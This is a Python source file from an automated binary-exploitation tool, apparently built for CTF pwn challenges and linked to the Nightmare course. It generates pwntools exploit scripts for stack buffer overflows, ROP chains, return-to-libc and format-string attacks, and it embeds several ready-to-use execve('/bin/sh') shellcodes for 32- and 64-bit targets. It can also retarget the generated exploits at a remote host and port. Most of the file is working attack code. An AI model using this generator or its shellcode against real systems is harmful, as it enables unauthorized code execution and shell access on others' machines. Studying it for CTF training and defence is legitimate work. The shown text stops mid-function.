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solway_firth.py
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solway_firth.py
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#!/usr/bin/env python3
import os
import pickle
import subprocess
import shutil
import math
import edge
from pwn import *
'''
+-----------------------------------------------------------+
| Classes |
+-----------------------------------------------------------+
'''
class PayloadParts():
def __init__(self):
self.start = None
self.parts = None
self.ret_address = None
self.rop_chain = None
self.default_byte = None
def set_ret(self, ret_address):
self.ret_address = ret_address
def set_rop_chain(self, rop_chain):
self.rop_chain = rop_chain
def set_default_byte(self, default_byte):
self.default_byte = default_byte
def construct_payload(self, elf, exploit_name, send_line=True):
start = self.start
exploit_write('bof_payload.set_input_start(%s)' % hex(start), exploit_name)
payload_componets = self.parts
for part in payload_componets:
offset = part.offset
value = part.value
if part.type == int:
if part.region is None:
if part.size == 4:
exploit_write("bof_payload.add_int32(%s, %s)" % (hex(offset), hex(value)), exploit_name)
elif part.size == 8:
exploit_write("bof_payload.add_int64(%s, %s)" % (hex(offset), hex(value)), exploit_name)
else:
if part.size == 4:
exploit_write('bof_payload.add_int32(%s, %s, "%s")' % (hex(offset), hex(value), part.region), exploit_name)
elif part.size == 8:
exploit_write('bof_payload.add_int64(%s, %s, "%s")' % (hex(offset), hex(value), part.region), exploit_name)
if part.type == bytes:
exploit_write('bof_payload.add_bytes(%s, b"%s")' % (hex(part.offset), part.value), exploit_name)
if self.default_byte:
exploit_write('bof_payload.set_default_byte(b"\\x%s")' % hex(self.default_byte)[2:], exploit_name)
ret_addr = self.ret_address
if isinstance(ret_addr, int):
exploit_write("bof_payload.set_ret(%s)" % hex(ret_addr), exploit_name)
elif isinstance(ret_addr, list):
if len(ret_addr) == 2:
if isinstance(ret_addr[0], int) and isinstance(ret_addr[1], str):
exploit_write('bof_payload.set_ret(%s, "%s")' % (hex(ret_addr[0]), ret_addr[1]), exploit_name)
elif self.rop_chain != None:
exploit_write("rop_chain = %s" % str(self.rop_chain), exploit_name)
exploit_write("bof_payload.add_rop_chain(rop_chain)", exploit_name)
exploit_write("payload = bof_payload.generate_payload()", exploit_name)
if send_line:
exploit_write("target.sendline(payload)", exploit_name)
def construct_payload_argv(self, elf, elf_name, attack_name, count=None):
if isinstance(count, int):
exploit_name = get_single_exploit_name("%s-%d" % (attack_name, count))
else:
exploit_name = get_single_exploit_name("%s" % (attack_name))
exploit_write('from pwn import *\n\n', exploit_name)
exploit_write('import sf\n', exploit_name)
exploit_write("import time\n\n", exploit_name)
if elf.arch == "amd64":
exploit_write('bof_payload = sf.BufferOverflow(arch=64)\n\n', exploit_name)
elif elf.arch == "i386":
exploit_write('bof_payload = sf.BufferOverflow(arch=32)\n\n', exploit_name)
self.construct_payload(elf, exploit_name, False)
exploit_write('\npayload = payload.replace(b"\\x00", b"")\n', exploit_name)
exploit_write('\ntarget = process(["./%s", payload])\n' % (elf_name), exploit_name)
exploit_write('\n%s' % VERIFICATION_START_STRING, exploit_name)
exploit_write('limit = 0', exploit_name)
exploit_write('j = 0', exploit_name)
exploit_write('while limit < 5:', exploit_name)
exploit_write('\ttry:', exploit_name)
exploit_write('\t\ttarget.sendline("echo flag{")', exploit_name)
exploit_write('\texcept:', exploit_name)
exploit_write('\t\tprint("Could not send data")', exploit_name)
exploit_write('\tlimit += 1', exploit_name)
exploit_write('\ttry:', exploit_name)
exploit_write('\t\toutput = "A good..."', exploit_name)
exploit_write('\t\twhile output != "" and j < 200:', exploit_name)
exploit_write("\t\t\toutput = target.recv(1, timeout=.1)", exploit_name)
exploit_write('\t\t\tprint(output.decode("utf-8"))', exploit_name)
exploit_write('\t\t\tj += 1', exploit_name)
exploit_write('\texcept:', exploit_name)
exploit_write('\t\tprint(output)', exploit_name)
return exploit_name
class Part():
def __init__(self):
self.type = None
self.region = None
self.value = None
self.offset = None
self.size = None
class StackVuln():
def __init__(self, stack_vuln_dict):
if not isinstance(stack_vuln_dict, dict):
raise TypeError("Input should be dictionary")
self.address = stack_vuln_dict["address"]
self.type = stack_vuln_dict["type"]
self.write_size = stack_vuln_dict["writeSize"]
self.inp_type = stack_vuln_dict["inpType"]
self.checks = stack_vuln_dict["checks"]
self.calling_function = stack_vuln_dict["callingFunction"]
self.function = stack_vuln_dict["function"]
self.called_ptrs = stack_vuln_dict["calledPtrs"]
self.overwriteable_vars = stack_vuln_dict["overwriteableVars"]
self.offset = self.overwriteable_vars[0]
class InfoleakVuln():
def __init__(self, infoleak_vuln_dict):
if not isinstance(infoleak_vuln_dict, dict):
raise TypeError("Input should be dictionary")
self.address = infoleak_vuln_dict["address"]
self.memory_region = infoleak_vuln_dict["memoryRegion"]
self.offset = infoleak_vuln_dict["offset"]
self.fmt_index = infoleak_vuln_dict["fmtIndex"]
self.string = infoleak_vuln_dict["string"]
self.calling_function = infoleak_vuln_dict["callingFunction"]
self.function = infoleak_vuln_dict["function"]
class CallInputVuln():
def __init__(self, callinput_vuln_dict):
if not isinstance(callinput_vuln_dict, dict):
raise TypeError("Input should be dictionary")
self.address = callinput_vuln_dict["address"]
self.offset = callinput_vuln_dict["offset"]
self.inp_num = callinput_vuln_dict["inpNum"]
self.calling_function = callinput_vuln_dict["callingFunction"]
self.function = callinput_vuln_dict["function"]
class Input():
def __init__(self, input_vuln_dict):
if not isinstance(input_vuln_dict, dict):
raise TypeError("Input should be dictionary")
self.address = input_vuln_dict["address"]
self.offset = input_vuln_dict["stackOffset"]
self.inp_type = input_vuln_dict["inpType"]
self.write_size = input_vuln_dict["writeSize"]
self.checks = input_vuln_dict["checks"]
self.calling_function = input_vuln_dict["callingFunction"]
self.function = input_vuln_dict["function"]
self.called_ptrs = input_vuln_dict["calledPtrs"]
class FmtStringVuln():
def __init__(self, fmt_string_vuln_dict):
self.address = fmt_string_vuln_dict["address"]
self.stack_offset = fmt_string_vuln_dict["stackOffset"]
self.inp_method = fmt_string_vuln_dict["inpMethod"]
self.calling_function = fmt_string_vuln_dict["callingFunction"]
self.function = fmt_string_vuln_dict["function"]
'''
+-----------------------------------------------------------+
| Constants |
+-----------------------------------------------------------+
'''
BIN_SH_STRINGS = [b"/bin/sh", b"/bin/bash"]
INSTALL_DIR = "/Hackery/remenissions/"
ROPGADGET_DIR = "%sdependencies/ropgadget/" % INSTALL_DIR
THE_NIGHT_LIBCS = "%sdependencies/The_Night/libcs/" % INSTALL_DIR
WIN_FILE = "pwned"
LOOSE_FILE = "rip"
EXECUTE_STRING = "gdbscript"
#EXECUTE_STRING = "execute"
VERIFICATION_START_STRING = "# Exploit Verification starts here 15935728"
LIBC_EXPLOITS_DIRECTORY_NAME = "libcExploits"
DYNAMIC_ANALYZER_NAME = "diamond_eyes.py"
BOF_VAR_PROMPT = ["Overwrite Variables", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable"]
BOF_FUNC_PROMPT = ["Bof Win Function", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction"]
BOF_FUNC_ARGV_PROMPT = ["Bof Win Function Argv", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction"]
BOF_FUNC_INFOLEAK_PROMPT = ["Bof Win Function Infoleak", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction"]
BOF_FUNC_SYSTEM_PROMPT = ["Bof System", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction"]
BOF_FUNC_SYSTEM_INFOLEAK_PROMPT = ["Bof System Infoleak", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction"]
BOF_SHELLCODE_PROMPT = ["Bof Shellcode", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/06-bof_shellcode"]
INDR_CALL_PROMPT = ["Indirect Call", "https://github.com/guyinatuxedo/nightmare"]
INDR_CALL_PIE_PROMPT = ["Indirect Call Pie", "https://github.com/guyinatuxedo/nightmare"]
INDR_CALL_LIBC_PROMPT = ["Indirect Call Libc", "https://github.com/guyinatuxedo/nightmare"]
INDR_CALL_SHELLCODE_PROMPT = ["Indirect Call Shellcode", "https://github.com/guyinatuxedo/nightmare"]
CALL_INPUT_PROMPT = ["Call Input", "https://github.com/guyinatuxedo/nightmare"]
BOF_STATIC_PROMPT = ["Bof Static", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/07-bof_static"]
RET_2_LIBC_PROMPT = ["Return to Libc", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/07-bof_static"]
RET_2_LIBC_PUTS_INFOLEAK_PROMPT = ["Return to Libc Puts Infoleak", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/08-bof_dynamic"]
LIBC_ID_PROMPT = ["Libc ID Return to Libc", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/08-bof_dynamic"]
FMT_STRING_WINFUNC_PROMPT = ["Format String Winfunc", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
FMT_STRING_WINFUNC_PIE_PROMPT = ["Format String Winfunc Pie", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
FMT_STRING_WINFUNC_PIE_FSLEAK_PROMPT = ["Format String Winfunc Pie FsLeak", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
FMT_STRING_GOT_SYSTEM_PROMPT = ["Format String GOT System", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
FMT_STRING_GOT_SYSTEM_PIE_PROMPT = ["Format String GOT System Pie", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
FMT_STRING_RET_WINFUNC_PROMPT = ["Format String Ret Winfunc", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
FMT_STRING_RET_SHELLCODE_PROMPT = ["Format String Ret Shellcode", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
FMT_STRING_GOT_SHELLCODE_PROMPT = ["Format String GOT Shellcode", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
FMT_STRING_GOT_SHELLCODE_FSLEAK_PROMPT = ["Format String GOT Shellcode Fsleak", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
FMT_STRING_GOT_LIBC_PROMPT = ["Format String GOT Libc", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
FMT_STRING_GOT_LIBC_FSLEAK_PROMPT = ["Format String GOT Libc FsLeak", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
FMT_STRING_GOT_ONESHOT_PROMPT = ["Format String GOT Oneshot", "https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings"]
VERIFIED_EXPLOIT_EDGE = "# +------------------------------------------------+\n"
VERIFIED_EXPLOIT_BEGIN = "# | Atack: "
VERIFIED_EXPLOIT_END = "|\n"
VERIFIED_EXPLOIT_EXPLANATION = "#\n# For more info checkout: "
VERIFIED_EXPLOITS_PROMPT = {
"BofVar": BOF_VAR_PROMPT,
"BofFuncArgv": BOF_FUNC_ARGV_PROMPT,
"BofFuncWInfoleak": BOF_FUNC_INFOLEAK_PROMPT,
"BofSystemWInfoleak": BOF_FUNC_SYSTEM_INFOLEAK_PROMPT,
"BofFunc": BOF_FUNC_PROMPT,
"BofSystem": BOF_FUNC_SYSTEM_PROMPT,
"BofShellcode": BOF_SHELLCODE_PROMPT,
"IndrCallPie": INDR_CALL_PIE_PROMPT,
"IndrCallLibc": INDR_CALL_LIBC_PROMPT,
"IndrCallShellcode": INDR_CALL_SHELLCODE_PROMPT,
"IndrCall": INDR_CALL_PROMPT,
"CallInput": CALL_INPUT_PROMPT,
"BofStatic": BOF_STATIC_PROMPT,
"Ret2LibcPutsInfoleak": RET_2_LIBC_PUTS_INFOLEAK_PROMPT,
"Ret2LibcId": LIBC_ID_PROMPT,
"Ret2Libc": RET_2_LIBC_PROMPT,
"FsGotWinFuncPieFsleak": FMT_STRING_WINFUNC_PIE_FSLEAK_PROMPT,
"FsGotWinFuncPie": FMT_STRING_WINFUNC_PIE_PROMPT,
"FsGotWinFunc": FMT_STRING_WINFUNC_PROMPT,
"FsGotSystemPie": FMT_STRING_GOT_SYSTEM_PIE_PROMPT,
"FsGotSystem": FMT_STRING_GOT_SYSTEM_PROMPT,
"FsRetWinFunc": FMT_STRING_RET_WINFUNC_PROMPT,
"FsGotShellcodeFsleak": FMT_STRING_GOT_SHELLCODE_FSLEAK_PROMPT,
"FsRetShellcode": FMT_STRING_RET_SHELLCODE_PROMPT,
"FsGotShellcode": FMT_STRING_GOT_SHELLCODE_PROMPT,
"FsGotLibcFsleakLoop": FMT_STRING_GOT_LIBC_FSLEAK_PROMPT,
"FsGotLibc": FMT_STRING_GOT_LIBC_PROMPT,
"FsGotOneshot": FMT_STRING_GOT_ONESHOT_PROMPT
}
'''
+-----------------------------------------------------------+
| Exploit File Handling |
+-----------------------------------------------------------+
'''
def get_single_exploit_name(name):
return "exploit-%s.py" % name
def setup_exploit(elf_name, elf, attack_name, verification = None):
exploit_name = get_single_exploit_name(attack_name)
exploit = open(exploit_name, "w")
exploit.write('from pwn import *\n\n')
exploit.write("import os\n")
exploit.write("import sf\n")
exploit.write("import sys\n")
exploit.write("import signal\n\n")
exploit.write('target = process("./%s")\n' % elf_name)
if verification == None:
exploit.write('gdb.attach(target, %s="verify_exploit")\n\n' % EXECUTE_STRING)
elif verification == "static":
exploit.write('gdb.attach(target, %s="verify_exploit_static")\n\n' % EXECUTE_STRING)
if elf.arch == "amd64":
exploit.write('bof_payload = sf.BufferOverflow(arch=64)\n\n')
elif elf.arch == "i386":
exploit.write('bof_payload = sf.BufferOverflow(arch=32)\n\n')
exploit.write('')
exploit.close()
return exploit_name
def setup_libc_exploit(elf, elf_name, libc_name, attack_name):
exploit_name = get_single_exploit_name(attack_name)
exploit = open(exploit_name, "w")
exploit.write('from pwn import *\n\n')
exploit.write("import os\n")
exploit.write("import sf\n")
exploit.write("import sys\n")
exploit.write("import signal\n\n")
exploit.write('target = process("./%s", env={"LD_PRELOAD":"./%s"})\n' % (elf_name, libc_name))
exploit.write('gdb.attach(target, %s="verify_exploit")\n' % EXECUTE_STRING)
if elf.arch == "amd64":
exploit.write('bof_payload = sf.BufferOverflow(arch=64)\n\n')
elif elf.arch == "i386":
exploit.write('bof_payload = sf.BufferOverflow(arch=32)\n\n')
exploit.close()
return exploit_name
def setup_filler_exploit(elf_name, elf, libc_name):
exploit_name = 'binded-in-chains.py'
exploit = open(exploit_name, "w")
exploit.write('from pwn import *\n\n')
exploit.write("import sf\n")
if elf.arch == "amd64":
exploit.write("import time\n\n")
exploit.write("import sys\n\n")
if libc_name != None:
exploit.write('target = process("./%s", env={"LD_PRELOAD":"./%s"})\n' % (elf_name, libc_name))
else:
exploit.write('target = process("./%s")\n' % elf_name)
exploit.write('gdb.attach(target, %s="get_libc_puts_address")\n\n' % EXECUTE_STRING)
if elf.arch == "amd64":
exploit.write('bof_payload = sf.BufferOverflow(arch=64)\n\n')
elif elf.arch == "i386":
exploit.write('bof_payload = sf.BufferOverflow(arch=32)\n\n')
exploit.close()
return exploit_name
def setup_id_exploit(elf_name, elf, ip_port):
exploit_name = 'afterlife.py'
exploit = open(exploit_name, "w")
exploit.write('from pwn import *\n\n')
exploit.write('import sf\n\n')
exploit.write('import thenight\n\n')
if elf.arch == "amd64":
exploit.write("import time\n\n")
exploit.write("import sys\n\n")
if ip_port != None:
exploit.write('target = remote("%s", %s)\n' % (ip_port[0], ip_port[1]))
else:
exploit.write('target = process("./%s")\n' % elf_name)
if elf.arch == "amd64":
exploit.write('bof_payload = sf.BufferOverflow(arch=64)\n\n')
elif elf.arch == "i386":
exploit.write('bof_payload = sf.BufferOverflow(arch=32)\n\n')
exploit.close()
return exploit_name
def multi_setup_exploit(elf_name, elf, attack_name):
exploit_name = get_single_exploit_name(attack_name)
if os.path.exists(exploit_name):
os.remove(exploit_name)
exploit = open(exploit_name, "w")
exploit.write('from pwn import *\n')
exploit.write("import time\n")
exploit.write("import sys\n")
exploit.write("import signal\n")
exploit.write("import sf\n\n")
exploit.write('target = process("./%s")\n' % elf_name)
exploit.write('gdb.attach(target, %s="verify_exploit")\n\n' % EXECUTE_STRING)
if elf.arch == "amd64":
exploit.write('bof_payload = sf.BufferOverflow(arch=64)\n\n')
elif elf.arch == "i386":
exploit.write('bof_payload = sf.BufferOverflow(arch=32)\n\n')
exploit.close()
return exploit_name
def write_crash_detection(exploit_name):
exploit = open(exploit_name, "a")
exploit.write("\n# Exploit Verification starts here 15935728\n\n")
exploit.write("def handler(signum, frame):\n")
exploit.write('\traise Exception("Timed out")\n\n')
exploit.write("def check_verification_done():\n")
exploit.write("\twhile True:\n")
exploit.write('\t\tif os.path.exists("pwned") or os.path.exists("rip"):\n')
exploit.write('\t\t\tsys.exit(0)\n\n')
exploit.write("signal.signal(signal.SIGALRM, handler)\n")
exploit.write("signal.alarm(2)\n\n")
exploit.write("try:\n")
exploit.write("\twhile True:\n")
exploit.write('\t\tcheck_verification_done()\n')
exploit.write('except Exception:\n')
exploit.write('\tprint("Exploit timed out")\n')
exploit.close()
def write_crash_detection_libc(exploit_name):
exploit = open(exploit_name, "a")
exploit.write("\n# Exploit Verification starts here 15935728\n\n")
exploit.write("time.sleep(.5)\n")
exploit.close()
def exploit_write(inp, exploit_name):
exploit = open(exploit_name, "a")
exploit.write('%s\n' % inp)
exploit.close()
def write_verified_prompt(exploit_file, exploit_name):
for attack_type in VERIFIED_EXPLOITS_PROMPT.keys():
if attack_type in exploit_name:
exploit_prompt = VERIFIED_EXPLOITS_PROMPT[attack_type]
attack_name = exploit_prompt[0]
attack_explanation = exploit_prompt[1]
exploit_file.write(VERIFIED_EXPLOIT_EDGE)
exploit_file.write(VERIFIED_EXPLOIT_BEGIN)
exploit_file.write(attack_name)
exploit_file.write(" " * (51 - len(VERIFIED_EXPLOIT_BEGIN + attack_name)))
exploit_file.write(VERIFIED_EXPLOIT_END)
exploit_file.write(VERIFIED_EXPLOIT_EDGE)
exploit_file.write(VERIFIED_EXPLOIT_EXPLANATION)
exploit_file.write(attack_explanation)
exploit_file.write("\n\n")
def write_win_prompt(exploit_file):
win_prompt = edge.get_edge()
exploit_file.write("\n%s\n" % win_prompt)
def finalize_exploit(exploit_name, ip_port, normie):
final_exploit_name = "verified-%s" % exploit_name
testedExploit = open(exploit_name, "r")
exploit = open(final_exploit_name, "w")
write_verified_prompt(exploit, exploit_name)
for line in testedExploit:
if line[:3] == "gdb" and ip_port == None:
exploit.write(line.split(',')[0] + ")\n")
continue
if 'process("./' in line and ip_port != None:
exploit.write('target = remote("%s", %s)\n' % (ip_port[0], ip_port[1]))
exploit.write('#%s' % line)
continue
if "gdb" in line and ip_port != None:
exploit.write("#%s\n" % line.split(',')[0])
continue
elif VERIFICATION_START_STRING in line:
exploit.write("\ntarget.interactive()\n")
break
if ("import os" in line) or ("import signal" in line) or ("import sys" in line):
continue
else:
exploit.write(f"{line}")
if normie:
write_win_prompt(exploit)
exploit.close()
shutil.copyfile(final_exploit_name, "../%s" % final_exploit_name)
def finalize_argv_exploit(exploit_name):
final_exploit_name = "verified-%s" % exploit_name
testedExploit = open(exploit_name, "r")
exploit = open(final_exploit_name, "w")
write_verified_prompt(exploit, exploit_name)
for line in testedExploit:
if "15935728" in line:
exploit.write("\ntarget.interactive()\n")
break
else:
exploit.write(f"{line}")
write_win_prompt(exploit)
exploit.close()
shutil.copyfile(final_exploit_name, "../%s" % final_exploit_name)
'''
+-----------------------------------------------------------+
| Shecllcode |
+-----------------------------------------------------------+
'''
# This is where we define the various shellcodes to use
# I did not write any of these, I commented the source where I got them
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-806.php
SHELLCODE64_0 = "\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05"
SHELLCODE_LEN64_0 = 27
# This shellcode is from: https://teamrocketist.github.io/2017/09/18/Pwn-CSAW-Pilot/
SHELLCODE64_1 = "\\x31\\xf6\\x48\\xbf\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdf\\xf7\\xe6\\x04\\x3b\\x57\\x54\\x5f\\x0f\\x05"
SHELLCODE_LEN64_1 = 24
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-603.php
SHELLCODE64_2 = "\\x48\\x31\\xd2\\x48\\xbb\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xeb\\x08\\x53\\x48\\x89\\xe7\\x50\\x57\\x48\\x89\\xe6\\xb0\\x3b\\x0f\\x05"
SHELLCODE_LEN64_2 = 30
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-905.php
SHELLCODE64_3 = "\\x6a\\x42\\x58\\xfe\\xc4\\x48\\x99\\x52\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5e\\x49\\x89\\xd0\\x49\\x89\\xd2\\x0f\\x05"
SHELLCODE_LEN64_3 = 29
# Borrowed from pwntools
SHELLCODE_SCANF_64 = "\\x6a\\x68\\x48\\xb8\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x2f\\x73\\x50\\x48\\x89\\xe7\\x68\\x72\\x69\\x01\\x01\\x81\\x34\\x24\\x01\\x01\\x01\\x01\\x31\\xf6\\x56\\x6a\\x08\\x5e\\x48\\x01\\xe6\\x56\\x48\\x89\\xe6\\x31\\xd2\\x6a\\x3b\\x58\\x0f\\x05"
SHELLCODE_SCANF_64Len = 48
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-827.php
SHELLCODE32_0 = "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
SHELLCODE_Len32_0 = 23
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-811.php
SHELLCODE32_1 = "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x40\\xcd\\x80"
SHELLCODE_Len32_1 = 28
# This shellcode is: http://shell-storm.org/shellcode/files/shellcode-491.php
SHELLCODE32_2 = "\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x32\\x80\\x6c\\x0e\\xff\\x01\\x80\\xe9\\x01\\x75\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff\\x32\\xc1\\x51\\x69\\x30\\x30\\x74\\x69\\x69\\x30\\x63\\x6a\\x6f\\x8a\\xe4\\x51\\x54\\x8a\\xe2\\x9a\\xb1\\x0c\\xce\\x81"
SHELLCODE_Len32_2 = 40
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-606.php
SHELLCODE32_3 = "\\x6a\\x0b\\x58\\x99\\x52\\x66\\x68\\x2d\\x70\\x89\\xe1\\x52\\x6a\\x68\\x68\\x2f\\x62\\x61\\x73\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x51\\x53\\x89\\xe1\\xcd\\x80"
SHELLCODE_Len32_3 = 33
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-251.php
SHELLCODE32_4 = "\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x2e\\x58\\x53\\xcd\\x80\\x31\\xd2\\x6a\\x0b\\x58\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80"
SHELLCODE_Len32_4 = 37
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-250.php
SHELLCODE32_5 = "\\x6a\\x46\\x58\\x31\\xdb\\x31\\xc9\\xcd\\x80\\x31\\xd2\\x6a\\x0b\\x58\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80"
SHELLCODE_Len32_5 = 33
# Borrorwed from https://gbmaster.wordpress.com/2014/07/01/x86-exploitation-101-born-in-a-shell/
SHELLCODE_SCANF_32 = "\\x83\\xec\\x7f\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\x04\\x05\\x04\\x06\\xcd\\x80\\xb0\\x01\\x31\\xdb\\xcd\\x80"
SHELLCODE_SCANF_32Len = 36
# Define the shellcode collections, and the base shellcodes
SHELLCODES64 = [
[SHELLCODE64_0, SHELLCODE_LEN64_0],
[SHELLCODE64_1, SHELLCODE_LEN64_1],
[SHELLCODE64_2, SHELLCODE_LEN64_2],
[SHELLCODE64_3, SHELLCODE_LEN64_3],
[SHELLCODE_SCANF_64, SHELLCODE_SCANF_64Len]
]
SHELLCODES32 = [
[SHELLCODE_SCANF_32, SHELLCODE_SCANF_32Len],
[SHELLCODE32_0, SHELLCODE_Len32_0],
[SHELLCODE32_1, SHELLCODE_Len32_1],
[SHELLCODE32_2, SHELLCODE_Len32_2],
[SHELLCODE32_3, SHELLCODE_Len32_3],
[SHELLCODE32_4, SHELLCODE_Len32_4],
[SHELLCODE32_5, SHELLCODE_Len32_5]
]
BASE_Shellcode64 = SHELLCODE64_1
BASE_SHELLCODE_LEN64 = SHELLCODE_LEN64_1
BASE_SHELLCODE32 = SHELLCODE_SCANF_32
BASE_SHELLCODE_LEN32 = SHELLCODE_SCANF_32Len
def get_shellcode(elf, stack_vuln):
input_function = stack_vuln.function
if input_function is None or "scanf" not in input_function:
if elf.arch == "i386":
return BASE_SHELLCODE32, BASE_SHELLCODE_LEN32
elif elf.arch == "amd64":
return BASE_Shellcode64, BASE_SHELLCODE_LEN64
else:
if elf.arch == "i386":
return SHELLCODE_SCANF_32, SHELLCODE_SCANF_32Len
elif elf.arch == "amd64":
return SHELLCODE_SCANF_64, SHELLCODE_SCANF_64Len
def get_all_shellcode(elf, stack_vuln):
if elf.arch == "i386":
return SHELLCODES32
elif elf.arch == "amd64":
return SHELLCODES64
def add_shellcode(payload_parts, shellcode, offset):
shellcode_part = Part()
shellcode_part.type = bytes
shellcode_part.region = None
shellcode_part.offset = offset
shellcode_part.value = shellcode
payload_parts.parts.append(shellcode_part)
payload_parts.ret_address = [-offset, "stack"]
def can_place_shellcode_between_cmps(stack_vuln, data_len):
checks = stack_vuln.checks
totalSpace = stack_vuln.overwriteable_vars[0]
if type(totalSpace) == str:
return offsets
if len(checks) == 0:
if totalSpace > data_len:
return True, totalSpace
for i in range(0, len(checks)):
checkSize = checks[i]["size"]
offset = (totalSpace - checks[i]["stackOffset"])
if (offset + checkSize) > totalSpace:
break
if offset >= data_len:
return True, totalSpace
totalSpace = totalSpace - (offset + checkSize)
if totalSpace >= data_len:
return True, totalSpace
return False, 0
def can_place_shellcode_after_return_address(stack_vuln, data_len, elf):
if stack_vuln == None:
return True
writeable_bytes_after_return_address = stack_vuln.write_size
ptr_size = get_arch_int_size(elf)
if writeable_bytes_after_return_address == None:
return True
if (writeable_bytes_after_return_address > (data_len + ptr_size)):
return True
return False
def place_shellcode_indr_call(elf, stack_vuln, data, data_len):
prep_stack_vuln(stack_vuln)
strip_repeated_checks(stack_vuln)
checks = stack_vuln.checks
checks = strip_ret_address_checks(checks)
shellcode_betwen_cmps, offset_index = can_place_shellcode_between_cmps(stack_vuln, data_len)
shellcodeAfterRet = False
if shellcode_betwen_cmps == False:
shellcodeAfterRet = can_place_shellcode_after_return_address(stack_vuln, data_len, elf)
ptr = stack_vuln.called_ptrs[0]
# Place shellcode on stack before return address, between stack variables used in cmps
if shellcode_betwen_cmps == True or shellcodeAfterRet == True:
if shellcode_betwen_cmps == True:
stack_vuln = prep_indirect_call(elf, stack_vuln, -1*offset_index, ptr, "stack")
payload_parts = payload_parts_generator(elf, stack_vuln)
add_shellcode(payload_parts, data, offset_index)
else:
stack_vuln = prep_indirect_call(elf, stack_vuln, get_arch_int_size(elf), ptr, "stack")
payload_parts = payload_parts_generator(elf, stack_vuln)
add_shellcode(payload_parts, data, -1*get_arch_int_size(elf))
else:
payload_parts = None
return payload_parts
def placeShellcode(elf, stack_vuln, data, data_len):
prep_stack_vuln(stack_vuln)
strip_repeated_checks(stack_vuln)
checks = stack_vuln.checks
checks = strip_ret_address_checks(checks)
shellcode_betwen_cmps, offset_index = can_place_shellcode_between_cmps(stack_vuln, data_len)
shellcodeAfterRet = False
if shellcode_betwen_cmps == False:
shellcodeAfterRet = can_place_shellcode_after_return_address(stack_vuln, data_len, elf)
# Place shellcode on stack before return address, between stack variables used in cmps
if shellcode_betwen_cmps == True or shellcodeAfterRet == True:
payload_parts = payload_parts_generator(elf, stack_vuln)
if shellcode_betwen_cmps == True:
add_shellcode(payload_parts, data, offset_index)
else: add_shellcode(payload_parts, data, -1*get_arch_int_size(elf))
else:
payload_parts = PayloadParts()
payload_parts.start = stack_vuln.overwriteable_vars[0]
